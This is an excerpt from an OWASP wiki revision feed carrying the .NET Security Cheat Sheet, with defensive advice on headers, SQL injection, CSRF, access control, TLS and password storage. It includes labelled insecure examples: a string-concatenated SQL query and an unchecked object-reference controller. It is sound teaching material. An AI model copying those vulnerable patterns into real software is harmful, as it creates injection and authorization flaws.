      &amp;lt;staticContent&amp;gt;&lt;br /&gt;
        &amp;lt;clientCache cacheControlCustom=&amp;quot;public&amp;quot; cacheControlMode=&amp;quot;UseMaxAge&amp;quot; cacheControlMaxAge=&amp;quot;1.00:00:00&amp;quot; setEtag=&amp;quot;true&amp;quot; /&amp;gt;&lt;br /&gt;
      &amp;lt;/staticContent&amp;gt;&lt;br /&gt;
      &amp;lt;httpProtocol&amp;gt;&lt;br /&gt;
        &amp;lt;customHeaders&amp;gt;&lt;br /&gt;
          &amp;lt;add name=&amp;quot;Content-Security-Policy&amp;quot; value=&amp;quot;default-src 'none'; style-src 'self'; img-src 'self'; font-src 'self'&amp;quot; /&amp;gt;&lt;br /&gt;
          &amp;lt;add name=&amp;quot;X-Content-Type-Options&amp;quot; value=&amp;quot;NOSNIFF&amp;quot; /&amp;gt;&lt;br /&gt;
          &amp;lt;add name=&amp;quot;X-Frame-Options&amp;quot; value=&amp;quot;DENY&amp;quot; /&amp;gt;&lt;br /&gt;
          &amp;lt;add name=&amp;quot;X-Permitted-Cross-Domain-Policies&amp;quot; value=&amp;quot;master-only&amp;quot;/&amp;gt;&lt;br /&gt;
          &amp;lt;add name=&amp;quot;X-XSS-Protection&amp;quot; value=&amp;quot;1; mode=block&amp;quot;/&amp;gt;&lt;br /&gt;
          &amp;lt;remove name=&amp;quot;X-Powered-By&amp;quot;/&amp;gt;&lt;br /&gt;
        &amp;lt;/customHeaders&amp;gt;&lt;br /&gt;
      &amp;lt;/httpProtocol&amp;gt;&lt;br /&gt;
      &amp;lt;rewrite&amp;gt;&lt;br /&gt;
        &amp;lt;rules&amp;gt;&lt;br /&gt;
          &amp;lt;rule name=&amp;quot;Redirect to https&amp;quot;&amp;gt;&lt;br /&gt;
            &amp;lt;match url=&amp;quot;(.*)&amp;quot;/&amp;gt;&lt;br /&gt;
            &amp;lt;conditions&amp;gt;&lt;br /&gt;
              &amp;lt;add input=&amp;quot;{HTTPS}&amp;quot; pattern=&amp;quot;Off&amp;quot;/&amp;gt;&lt;br /&gt;
              &amp;lt;add input=&amp;quot;{REQUEST_METHOD}&amp;quot; pattern=&amp;quot;^get$|^head$&amp;quot; /&amp;gt;&lt;br /&gt;
            &amp;lt;/conditions&amp;gt;&lt;br /&gt;
            &amp;lt;action type=&amp;quot;Redirect&amp;quot; url=&amp;quot;https://{HTTP_HOST}/{R:1}&amp;quot; redirectType=&amp;quot;Permanent&amp;quot;/&amp;gt;&lt;br /&gt;
          &amp;lt;/rule&amp;gt;&lt;br /&gt;
        &amp;lt;/rules&amp;gt;&lt;br /&gt;
        &amp;lt;outboundRules&amp;gt;&lt;br /&gt;
          &amp;lt;rule name=&amp;quot;Add HSTS Header&amp;quot; enabled=&amp;quot;true&amp;quot;&amp;gt;&lt;br /&gt;
            &amp;lt;match serverVariable=&amp;quot;RESPONSE_Strict_Transport_Security&amp;quot;&lt;br /&gt;
                pattern=&amp;quot;.*&amp;quot; /&amp;gt;&lt;br /&gt;
            &amp;lt;conditions&amp;gt;&lt;br /&gt;
              &amp;lt;add input=&amp;quot;{HTTPS}&amp;quot; pattern=&amp;quot;on&amp;quot; ignoreCase=&amp;quot;true&amp;quot; /&amp;gt;&lt;br /&gt;
            &amp;lt;/conditions&amp;gt;&lt;br /&gt;
            &amp;lt;action type=&amp;quot;Rewrite&amp;quot; value=&amp;quot;max-age=15768000&amp;quot; /&amp;gt;&lt;br /&gt;
          &amp;lt;/rule&amp;gt;&lt;br /&gt;
        &amp;lt;/outboundRules&amp;gt;&lt;br /&gt;
      &amp;lt;/rewrite&amp;gt;&lt;br /&gt;
    &amp;lt;/system.webServer&amp;gt;&lt;br /&gt;
  &amp;lt;/configuration&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Remove the version header.&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;httpRuntime enableVersionHeader=&amp;quot;false&amp;quot; /&amp;gt; &lt;br /&gt;
&lt;br /&gt;
* Also remove the Server header.&lt;br /&gt;
&lt;br /&gt;
    HttpContext.Current.Response.Headers.Remove(&amp;quot;Server&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
=== HTTP validation and encoding ===&lt;br /&gt;
&lt;br /&gt;
* Do not disable [http://www.asp.net/whitepapers/request-validation validateRequest] in the web.config or the page setup. This value enables limited XSS protection in ASP.NET and should be left intact as it provides partial prevention of Cross Site Scripting.  Complete request validation is recommended in addition to the built in protections.&lt;br /&gt;
* The 4.5 version of the .NET Frameworks includes the AntiXssEncoder library, which has a comprehensive input encoding library for the prevention of XSS. Use it.&lt;br /&gt;
* Whitelist allowable values anytime user input is accepted. &lt;br /&gt;
* Validate the URI format using [http://msdn.microsoft.com/en-us/library/system.uri.iswellformeduristring.aspx Uri.IsWellFormedUriString].&lt;br /&gt;
&lt;br /&gt;
=== Forms authentication ===&lt;br /&gt;
&lt;br /&gt;
* Use cookies for persistence when possible. Cookieless Auth will default to UseDeviceProfile.&lt;br /&gt;
* Don't trust the URI of the request for persistence of the session or authorization. It can be easily faked.&lt;br /&gt;
* Reduce the forms authentication timeout from the default of 20 minutes to the shortest period appropriate for your application. If slidingExpiration is used this timeout resets after each request, so active users won't be affected.&lt;br /&gt;
* If HTTPS is not used, slidingExpiration should be disabled.  Consider disabling slidingExpiration even with HTTPS. &lt;br /&gt;
* Always implement proper access controls.&lt;br /&gt;
** Compare user provided username with User.Identity.Name.&lt;br /&gt;
** Check roles against User.Identity.IsInRole.&lt;br /&gt;
* Use the ASP.NET Membership provider and role provider, but review the password storage. The default storage hashes the password with a single iteration of SHA-1 which is rather weak. The ASP.NET MVC4 template uses [http://www.asp.net/identity/overview/getting-started/introduction-to-aspnet-identity ASP.NET Identity] instead of ASP.NET Membership, and ASP.NET Identity uses PBKDF2 by default which is better. Review the OWASP [[Password Storage Cheat Sheet]] for more information.&lt;br /&gt;
* Explicitly authorize resource requests.&lt;br /&gt;
* Leverage role based authorization using User.Identity.IsInRole.&lt;br /&gt;
&lt;br /&gt;
==ASP.NET MVC Guidance==&lt;br /&gt;
&lt;br /&gt;
ASP.NET MVC (Model-View-Controller) is a contemporary web application framework that uses more standardized HTTP communication than the Web Forms postback model. The OWASP Top 10 lists the most prevalent and dangerous threats to web security in the world today and is reviewed every 3 years. This section is based on this. Your approach to securing your web application should be to start at the top threat A1 below and work down, this will ensure that any time spent on security will be spent most effectively spent and cover the top threats first and lesser threats afterwards. After covering the top 10 it is generally advisable to assess for other threats or get a professionally completed Penetration Test.&lt;br /&gt;
&lt;br /&gt;
* '''A1 SQL Injection'''&lt;br /&gt;
&lt;br /&gt;
DO: Using an object relational mapper (ORM) or stored procedures is the most effective way of countering the SQL Injection vulnerability.&lt;br /&gt;
&lt;br /&gt;
DO: Use parameterized queries where a direct sql query must be used. &lt;br /&gt;
&lt;br /&gt;
e.g. In entity frameworks:&lt;br /&gt;
&lt;br /&gt;
    var sql = @&amp;quot;Update [User] SET FirstName = @FirstName WHERE Id = @Id&amp;quot;;&lt;br /&gt;
    context.Database.ExecuteSqlCommand(&lt;br /&gt;
       sql,&lt;br /&gt;
       new SqlParameter(&amp;quot;@FirstName&amp;quot;, firstname),&lt;br /&gt;
       new SqlParameter(&amp;quot;@Id&amp;quot;, id));&lt;br /&gt;
&lt;br /&gt;
DO NOT: Concatenate strings anywhere in your code and execute them against your database (Known as dynamic sql). NB: You can still accidentally do this with ORMs or Stored procedures so check everywhere.&lt;br /&gt;
&lt;br /&gt;
e.g&lt;br /&gt;
    string strQry = &amp;quot;SELECT * FROM Users WHERE UserName='&amp;quot; + txtUser.Text + &amp;quot;' AND Password='&amp;quot; + txtPassword.Text + &amp;quot;'&amp;quot;;&lt;br /&gt;
    EXEC strQry // SQL Injection vulnerability!&lt;br /&gt;
&lt;br /&gt;
DO: Practise Least Privilege - Connect to the database using an account with a minimum set of permissions required to do it's job i.e. not the sa account&lt;br /&gt;
&lt;br /&gt;
* '''A2 Weak Account management'''&lt;br /&gt;
&lt;br /&gt;
Ensure cookies are sent via httpOnly:&lt;br /&gt;
&lt;br /&gt;
     CookieHttpOnly = true,&lt;br /&gt;
&lt;br /&gt;
Reduce the time period a session can be stolen in by reducing session timeout and removing sliding expiration:&lt;br /&gt;
&lt;br /&gt;
     ExpireTimeSpan = TimeSpan.FromMinutes(60),&lt;br /&gt;
     SlidingExpiration = false&lt;br /&gt;
&lt;br /&gt;
See [https://github.com/johnstaveley/SecurityEssentials/blob/master/SecurityEssentials/App_Start/Startup.Auth.cs here] for full startup code snippet&lt;br /&gt;
&lt;br /&gt;
Ensure cookie is sent over https in the production environment. This should be enforced in the config transforms:&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;!-- SECURE: Require all custom cookies to travel via SSL --&amp;gt;&lt;br /&gt;
    &amp;lt;httpCookies requireSSL=&amp;quot;true&amp;quot; xdt:Transform=&amp;quot;SetAttributes(requireSSL)&amp;quot;/&amp;gt;&lt;br /&gt;
    &amp;lt;authentication&amp;gt;&lt;br /&gt;
      &amp;lt;forms requireSSL=&amp;quot;true&amp;quot; xdt:Transform=&amp;quot;SetAttributes(requireSSL)&amp;quot;/&amp;gt;&lt;br /&gt;
      &amp;lt;!-- SECURE: Authentication cookie should only be passed over SSL --&amp;gt;&lt;br /&gt;
    &amp;lt;/authentication&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Protect LogOn, Registration and password reset methods against brute force attacks by throttling requests (see code below), consider also using ReCaptcha.&lt;br /&gt;
&lt;br /&gt;
    [HttpPost]&lt;br /&gt;
    [AllowAnonymous]&lt;br /&gt;
    [ValidateAntiForgeryToken]&lt;br /&gt;
    '''[AllowXRequestsEveryXSecondsAttribute(Name = &amp;quot;LogOn&amp;quot;, Message = &amp;quot;You have performed this action more than {x} times in the last {n} seconds.&amp;quot;, Requests = 3, Seconds = 60)]'''&lt;br /&gt;
    public async Task&amp;lt;ActionResult&amp;gt; LogOn(LogOnViewModel model, string returnUrl)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Find [https://github.com/johnstaveley/SecurityEssentials/blob/master/SecurityEssentials/Core/Attributes/ThrottleAttribute.cs here] the code to prevent throttling&lt;br /&gt;
&lt;br /&gt;
DO NOT: Roll your own authentication or session management, use the one provided by .Net&lt;br /&gt;
&lt;br /&gt;
DO NOT: Tell someone if the account exists on LogOn, Registration or Password reset. Say something like 'Either the username or password was incorrect', or 'If this account exists then a reset token will be sent to the registered email address'. This protects against account enumeration. The feedback to the user should be identical whether or not the account exists, both in terms of content and behaviour: e.g. if the response takes 50% longer when the account is real then membership information can be guessed and tested. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* '''A3 Cross Site Scripting'''&lt;br /&gt;
&lt;br /&gt;
DO NOT: Trust any data the user sends you, prefer white lists (always safe) over black lists&lt;br /&gt;
&lt;br /&gt;
You get encoding of all HTML content with MVC3, to properly encode all content whether HTML, javascript, CSS, LDAP etc use the Microsoft AntiXSS library:&lt;br /&gt;
&lt;br /&gt;
    Install-Package AntiXSS&lt;br /&gt;
&lt;br /&gt;
then set in config:&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;system.web&amp;gt;&lt;br /&gt;
        &amp;lt;!-- SECURE: Don't disclose version header in each IIS response, encode ALL output including CSS, JavaScript etc, reduce max request length as mitigation against DOS --&amp;gt;&lt;br /&gt;
        &amp;lt;httpRuntime targetFramework=&amp;quot;4.5&amp;quot; enableVersionHeader=&amp;quot;false&amp;quot; encoderType=&amp;quot;Microsoft.Security.Application.AntiXssEncoder, AntiXssLibrary&amp;quot; maxRequestLength=&amp;quot;4096&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
DO NOT: Use the [AllowHTML] attribute or helper class @Html.Raw unless you really know that the content you are writing to the browser is safe and has been escaped properly.&lt;br /&gt;
&lt;br /&gt;
DO: Enable a content security policy, this will prevent your pages from accessing assets it should not be able to access (e.g. a malicious script):&lt;br /&gt;
    &amp;amp;lt;system.webServer&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;httpProtocol&amp;amp;gt;&lt;br /&gt;
            &amp;amp;lt;customHeaders&amp;amp;gt;&lt;br /&gt;
                &amp;amp;lt;add name=&amp;quot;Content-Security-Policy&amp;quot; value=&amp;quot;default-src 'none'; style-src 'self'; img-src 'self'; font-src 'self'; script-src 'self'&amp;quot; /&amp;amp;gt;&lt;br /&gt;
                ...&lt;br /&gt;
&lt;br /&gt;
* '''A4 Insecure Direct object references'''&lt;br /&gt;
&lt;br /&gt;
When you have a resource (object) which can be accessed by a reference (in the sample below this is the id) then you need to ensure that the user is intended to be there&lt;br /&gt;
&lt;br /&gt;
    // Insecure&lt;br /&gt;
    public ActionResult Edit(int id)&lt;br /&gt;
        {&lt;br /&gt;
            var user = _context.Users.FirstOrDefault(e =&amp;gt; e.Id == id);&lt;br /&gt;
            return View(&amp;quot;Details&amp;quot;, new UserViewModel(user);&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
    // Secure&lt;br /&gt;
    public ActionResult Edit(int id)&lt;br /&gt;
        {&lt;br /&gt;
            var user = _context.Users.FirstOrDefault(e =&amp;gt; e.Id == id);&lt;br /&gt;
            // Establish user has right to edit the details&lt;br /&gt;
            if (user.Id != _userIdentity.GetUserId())&lt;br /&gt;
            {&lt;br /&gt;
                HandleErrorInfo error = new HandleErrorInfo(new Exception(&amp;quot;INFO: You do not have permission to edit these details&amp;quot;));&lt;br /&gt;
                return View(&amp;quot;Error&amp;quot;, error);&lt;br /&gt;
            }&lt;br /&gt;
            return View(&amp;quot;Edit&amp;quot;, new UserViewModel(user);&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
* '''A5 Security Misconfiguration'''&lt;br /&gt;
&lt;br /&gt;
Ensure debug and trace are off in production. This can be enforced using web.config transforms:&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;!-- SECURE: Ensure debug information is turned off in production --&amp;gt;&lt;br /&gt;
    &amp;lt;compilation xdt:Transform=&amp;quot;RemoveAttributes(debug)&amp;quot; /&amp;gt;&lt;br /&gt;
    &amp;lt;!-- SECURE: Ensure trace is turned off in production --&amp;gt;&lt;br /&gt;
    &amp;lt;trace enabled=&amp;quot;false&amp;quot; xdt:Transform=&amp;quot;Replace&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
DO NOT: Use default passwords&lt;br /&gt;
&lt;br /&gt;
DO: (When using TLS) Redirect a request made over Http to https: In Global.asax.cs:&lt;br /&gt;
&lt;br /&gt;
	protected void Application_BeginRequest()&lt;br /&gt;
		{&lt;br /&gt;
    #if !DEBUG&lt;br /&gt;
            // SECURE: Ensure any request is returned over SSL/TLS in production&lt;br /&gt;
            if (!Request.IsLocal &amp;amp;&amp;amp; !Context.Request.IsSecureConnection) {&lt;br /&gt;
                var redirect = Context.Request.Url.ToString().ToLower(CultureInfo.CurrentCulture).Replace(&amp;quot;http:&amp;quot;, &amp;quot;https:&amp;quot;);&lt;br /&gt;
                Response.Redirect(redirect);&lt;br /&gt;
            }&lt;br /&gt;
    #endif&lt;br /&gt;
		}&lt;br /&gt;
&lt;br /&gt;
* '''A6 Sensitive data exposure'''&lt;br /&gt;
&lt;br /&gt;
DO NOT: Store encrypted passwords.&lt;br /&gt;
&lt;br /&gt;
DO: Use a strong hash to store password credentials. Use PBKDF2, BCrypt or SCrypt with at least 8000 iterations and a strong key.&lt;br /&gt;
&lt;br /&gt;
DO: Enforce passwords with a minimum complexity that will survive a dictionary attack i.e. longer passwords that use the full character set (numbers, symbols and letters) to increase the entropy. &lt;br /&gt;
&lt;br /&gt;
DO: Use a strong encryption routine such as AES-512 where personally identifiable data needs to be restored to it's original format. Do not encrypt passwords. Protect encryption keys more than any other asset. Apply the following test: Would you be happy leaving the data on a spreadsheet on a bus for everyone to read. Assume the attacker can get direct access to your database and protect it accordingly.&lt;br /&gt;
&lt;br /&gt;
DO: Use TLS 1.2 for your entire site. Get a free certificate from [https://www.startssl.com/ StartSSL.com] or [https://letsencrypt.org/ LetsEncrypt.org].&lt;br /&gt;
&lt;br /&gt;
DO NOT: Allow SSL, this is now obsolete&lt;br /&gt;
&lt;br /&gt;
DO: Have a strong TLS policy (see [http://www.ssllabs.com/projects/best-practises/ SSL Best Practises]), use TLS 1.2 wherever possible. Then check the configuration using [https://www.ssllabs.com/ssltest/ SSL Test]&lt;br /&gt;
&lt;br /&gt;
DO: Ensure headers are not disclosing information about your application. See [https://github.com/johnstaveley/SecurityEssentials/blob/master/SecurityEssentials/Core/HttpHeaders.cs HttpHeaders.cs] , [https://github.com/Dionach/StripHeaders/ Dionach StripHeaders ] or disable via web.config:&lt;br /&gt;
    &amp;amp;lt;system.web&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;httpRuntime enableVersionHeader=&amp;quot;false&amp;quot;/&amp;amp;gt;&lt;br /&gt;
    &amp;amp;lt;/system.web&amp;amp;gt;&lt;br /&gt;
    &amp;amp;lt;system.webServer&amp;amp;gt;&lt;br /&gt;
    &amp;amp;lt;security&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;requestFiltering removeServerHeader=&amp;quot;true&amp;quot; /&amp;amp;gt;&lt;br /&gt;
    &amp;amp;lt;/security&amp;amp;gt;&lt;br /&gt;
    &amp;amp;lt;httpProtocol&amp;amp;gt;&lt;br /&gt;
      &amp;amp;lt;customHeaders&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;add name=&amp;quot;X-Content-Type-Options&amp;quot; value=&amp;quot;NOSNIFF&amp;quot; /&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;add name=&amp;quot;X-Frame-Options&amp;quot; value=&amp;quot;DENY&amp;quot; /&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;add name=&amp;quot;X-Permitted-Cross-Domain-Policies&amp;quot; value=&amp;quot;master-only&amp;quot;/&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;add name=&amp;quot;X-XSS-Protection&amp;quot; value=&amp;quot;1; mode=block&amp;quot;/&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;remove name=&amp;quot;X-Powered-By&amp;quot;/&amp;amp;gt;&lt;br /&gt;
      &amp;amp;lt;/customHeaders&amp;amp;gt;&lt;br /&gt;
    &amp;amp;lt;/httpProtocol&amp;amp;gt;&lt;br /&gt;
&lt;br /&gt;
* '''A7 Missing function level access control'''&lt;br /&gt;
&lt;br /&gt;
DO: Authorize users on all externally facing endpoints. The .Net framework has many ways to authorize a user, use them at method level:&lt;br /&gt;
&lt;br /&gt;
     [Authorize(Roles = &amp;quot;Admin&amp;quot;)]&lt;br /&gt;
     [HttpGet]&lt;br /&gt;
     public ActionResult Index(int page = 1)&lt;br /&gt;
&lt;br /&gt;
or better yet, at controller level:&lt;br /&gt;
&lt;br /&gt;
     [Authorize]&lt;br /&gt;
     public class UserController&lt;br /&gt;
&lt;br /&gt;
You can also check roles in code using identity features in .net: System.Web.Security.Roles.IsUserInRole(userName, roleName)&lt;br /&gt;
&lt;br /&gt;
* '''A8 Cross site request forgery'''&lt;br /&gt;
&lt;br /&gt;
DO: Send the anti-forgery token with every Post/Put request:&lt;br /&gt;
&lt;br /&gt;
    using (Html.BeginForm(&amp;quot;LogOff&amp;quot;, &amp;quot;Account&amp;quot;, FormMethod.Post, new { id = &amp;quot;logoutForm&amp;quot;, @class = &amp;quot;pull-right&amp;quot; }))&lt;br /&gt;
        {&lt;br /&gt;
        @Html.AntiForgeryToken()&lt;br /&gt;
        &amp;amp;lt;ul class=&amp;quot;nav nav-pills&amp;quot;&amp;amp;gt;&lt;br /&gt;
            &amp;amp;lt;li role=&amp;quot;presentation&amp;quot;&amp;amp;gt;Logged on as @User.Identity.Name&amp;lt;/li&amp;gt;&lt;br /&gt;
            &amp;amp;lt;li role=&amp;quot;presentation&amp;quot;&amp;amp;gt;&amp;amp;lt;a href=&amp;quot;javascript:document.getElementById('logoutForm').submit()&amp;quot;&amp;amp;gt;Log off&amp;amp;lt;/a&amp;amp;gt;&amp;amp;lt;/li&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;/ul&amp;amp;gt;&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
Then validate it at the method or preferably the controller level:&lt;br /&gt;
&lt;br /&gt;
        [HttpPost]&lt;br /&gt;
        '''[ValidateAntiForgeryToken]'''&lt;br /&gt;
        public ActionResult LogOff()&lt;br /&gt;
&lt;br /&gt;
Make sure the tokens are removed completely for invalidation on logout.&lt;br /&gt;
&lt;br /&gt;
        /// &amp;lt;summary&amp;gt;&lt;br /&gt;
        /// SECURE: Remove any remaining cookies including Anti-CSRF cookie&lt;br /&gt;
        /// &amp;lt;/summary&amp;gt;&lt;br /&gt;
        public void RemoveAntiForgeryCookie(Controller controller)&lt;br /&gt;
        {&lt;br /&gt;
            string[] allCookies = controller.Request.Cookies.AllKeys;&lt;br /&gt;
            foreach (string cookie in allCookies)&lt;br /&gt;
            {&lt;br /&gt;
                if (controller.Response.Cookies[cookie] != null &amp;amp;&amp;amp; cookie == &amp;quot;__RequestVerificationToken&amp;quot;)&lt;br /&gt;
                {&lt;br /&gt;
                    controller.Response.Cookies[cookie].Expires = DateTime.Now.AddDays(-1);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
NB: You will need to attach the anti-forgery token to Ajax requests.&lt;br /&gt;
&lt;br /&gt;
* '''A9 Using components with known vulnerabilities'''&lt;br /&gt;
&lt;br /&gt;
DO: Keep the .Net framework updated with the latest patches&lt;br /&gt;
&lt;br /&gt;
DO: Keep your NuGet packages up to date, many will contain their own vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
DO:  Run the OWASP Dependency checker against your application as part of your build process and act on any high level vulnerabilities. [[https://www.owasp.org/index.php/OWASP_Dependency_Check OWASP Dependency Checker]]&lt;br /&gt;
&lt;br /&gt;
* '''A10 Unvalidated redirects and forwards'''&lt;br /&gt;
&lt;br /&gt;
A protection against this was introduced in Mvc 3 template. Here is the code:&lt;br /&gt;
&lt;br /&gt;
        public async Task&amp;lt;ActionResult&amp;gt; LogOn(LogOnViewModel model, string returnUrl)&lt;br /&gt;
        {&lt;br /&gt;
            if (ModelState.IsValid)&lt;br /&gt;
            {&lt;br /&gt;
                var logonResult = await _userManager.TryLogOnAsync(model.UserName, model.Password);&lt;br /&gt;
                if (logonResult.Success)&lt;br /&gt;
                {&lt;br /&gt;
                    await _userManager.LogOnAsync(logonResult.UserName, model.RememberMe);                              &lt;br /&gt;
                    return RedirectToLocal(returnUrl);&lt;br /&gt;
        ....&lt;br /&gt;
&lt;br /&gt;
        private ActionResult RedirectToLocal(string returnUrl)&lt;br /&gt;
        {&lt;br /&gt;
            if (Url.IsLocalUrl(returnUrl))&lt;br /&gt;
            {&lt;br /&gt;
                return Redirect(returnUrl);&lt;br /&gt;
            }&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                return RedirectToAction(&amp;quot;Landing&amp;quot;, &amp;quot;Account&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
Other advice:&lt;br /&gt;
&lt;br /&gt;
* Protect against Clickjacking and man in the middle attack from capturing an initial Non-TLS request, set the X-Frame-Options and Strict-Transport-Security (HSTS) headers. Full details [https://github.com/johnstaveley/SecurityEssentials/blob/master/SecurityEssentials/Core/HttpHeaders.cs here]&lt;br /&gt;
* Protect against a man in the middle attack for a user who has never been to your site before. Register for [https://hstspreload.org/ HSTS preload]&lt;br /&gt;
* Maintain security testing and analysis on Web API services. They are hidden inside MEV sites, and are public parts of a site that will be found by an attacker. All of the MVC guidance and much of the WCF guidance applies to the Web API.&lt;br /&gt;
&lt;br /&gt;
More information:&lt;br /&gt;
&lt;br /&gt;
For more information on all of the above and code samples incorporated into a sample MVC5 application with an enhanced security baseline go to [http://github.com/johnstaveley/SecurityEssentials/ Security Essentials Baseline project]&lt;br /&gt;
&lt;br /&gt;
==XAML Guidance==&lt;br /&gt;
&lt;br /&gt;
* Work within the constraints of Internet Zone security for your application.&lt;br /&gt;
* Use ClickOnce deployment. For enhanced permissions, use permission elevation at runtime or trusted application deployment at install time.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Windows Forms Guidance== &lt;br /&gt;
&lt;br /&gt;
* Use partial trust when possible. Partially trusted Windows applications reduce the attack surface of an application. Manage a list of what permissions your app must use, and what it may use, and then make the request for those permissions declaratively at run time.&lt;br /&gt;
* Use ClickOnce deployment. For enhanced permissions, use permission elevation at runtime or trusted application deployment at install time.&lt;br /&gt;
&lt;br /&gt;
==WCF Guidance==&lt;br /&gt;
&lt;br /&gt;
* Keep in mind that the only safe way to pass a request in RESTful services is via HTTP POST, with TLS enabled. GETs are visible in the querystring, and a lack of TLS means the body can be intercepted.&lt;br /&gt;
* Avoid BasicHttpBinding. It has no default security configuration. Use WSHttpBinding instead.&lt;br /&gt;
* Use at least two security modes for your binding. Message security includes security provisions in the headers. Transport security means use of SSL. TransportWithMessageCredential combines the two.&lt;br /&gt;
* Test your WCF implementation with a fuzzer like the Zed Attack Proxy.&lt;br /&gt;
&lt;br /&gt;
== Authors and Primary Editors  ==&lt;br /&gt;
&lt;br /&gt;
Bill Sempf - bill.sempf(at)owasp.org&amp;lt;br/&amp;gt;&lt;br /&gt;
Troy Hunt - troyhunt(at)hotmail.com&amp;lt;br/&amp;gt;&lt;br /&gt;
Jeremy Long - jeremy.long(at)owasp.org&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Other Cheatsheets ==&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]][[Category:OWASP .NET Project]]&lt;/div&gt;</summary>
		<author><name>Bill Sempf</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=.NET_Security_Cheat_Sheet&amp;diff=233539</id>
		<title>.NET Security Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=.NET_Security_Cheat_Sheet&amp;diff=233539"/>
				<updated>2017-09-20T14:54:54Z</updated>
		
		<summary type="html">&lt;p&gt;Bill Sempf: Added logout code to CSRF.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
== Introduction  ==&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
This page intends to provide quick basic .NET security tips for developers.&lt;br /&gt;
&lt;br /&gt;
===The .NET Framework===&lt;br /&gt;
The .NET Framework is Microsoft's principal platform for enterprise development. It is the supporting API for ASP.NET, Windows Desktop applications, Windows Communication Foundation services, SharePoint, Visual Studio Tools for Office and other technologies.&lt;br /&gt;
&lt;br /&gt;
===Updating the Framework===&lt;br /&gt;
The .NET Framework is kept up-to-date by Microsoft with the Windows Update service. Developers do not normally need to run seperate updates to the Framework. Windows update can be accessed at [http://windowsupdate.microsoft.com/ Windows Update] or from the Windows Update program on a Windows computer.&lt;br /&gt;
&lt;br /&gt;
Individual frameworks can be kept up to date using [http://nuget.codeplex.com/wikipage?title=Getting%20Started&amp;amp;referringTitle=Home NuGet]. As Visual Studio prompts for updates, build it into your lifecycle.&lt;br /&gt;
&lt;br /&gt;
Remember that third party libraries have to be updated separately and not all of them use Nuget. ELMAH for instance, requires a separate update effort.&lt;br /&gt;
&lt;br /&gt;
==.NET Framework Guidance==&lt;br /&gt;
&lt;br /&gt;
The .NET Framework is the set of APIs that support an advanced type system, data, graphics, network, file handling and most of the rest of what is needed to write enterprise apps in the Microsoft ecosystem. It is a nearly ubiquitous library that is strong named and versioned at the assembly level.&lt;br /&gt;
&lt;br /&gt;
=== Data Access ===&lt;br /&gt;
&lt;br /&gt;
* Use [http://msdn.microsoft.com/en-us/library/ms175528(v=sql.105).aspx Parameterized SQL] commands for all data access, without exception.&lt;br /&gt;
* Do not use [http://msdn.microsoft.com/en-us/library/system.data.sqlclient.sqlcommand.aspx SqlCommand] with a string parameter made up of a [http://msdn.microsoft.com/en-us/library/ms182310.aspx concatenated SQL String].&lt;br /&gt;
* Whitelist allowable values coming from the user. Use enums, [http://msdn.microsoft.com/en-us/library/f02979c7.aspx TryParse] or lookup values to assure that the data coming from the user is as expected.&lt;br /&gt;
** Enums are still vulnerable to unexpected values because .NET only validates a successful cast to the underlying data type, integer by default. [https://msdn.microsoft.com/en-us/library/system.enum.isdefined Enum.IsDefined] can validate whether the input value is valid within the list of defined constants.&lt;br /&gt;
* Apply the principle of least privilege when setting up the Database User in your database of choice. The database user should only be able to access items that make sense for the use case.&lt;br /&gt;
* Use of the [http://msdn.microsoft.com/en-us/data/ef.aspx Entity Framework] is a very effective [http://msdn.microsoft.com/en-us/library/ms161953(v=sql.105).aspx SQL injection] prevention mechanism. Remember that building your own ''ad hoc'' queries in EF is just as susceptible to SQLi as a plain SQL query.&lt;br /&gt;
* When using SQL Server, prefer integrated authentication over SQL authentication.&lt;br /&gt;
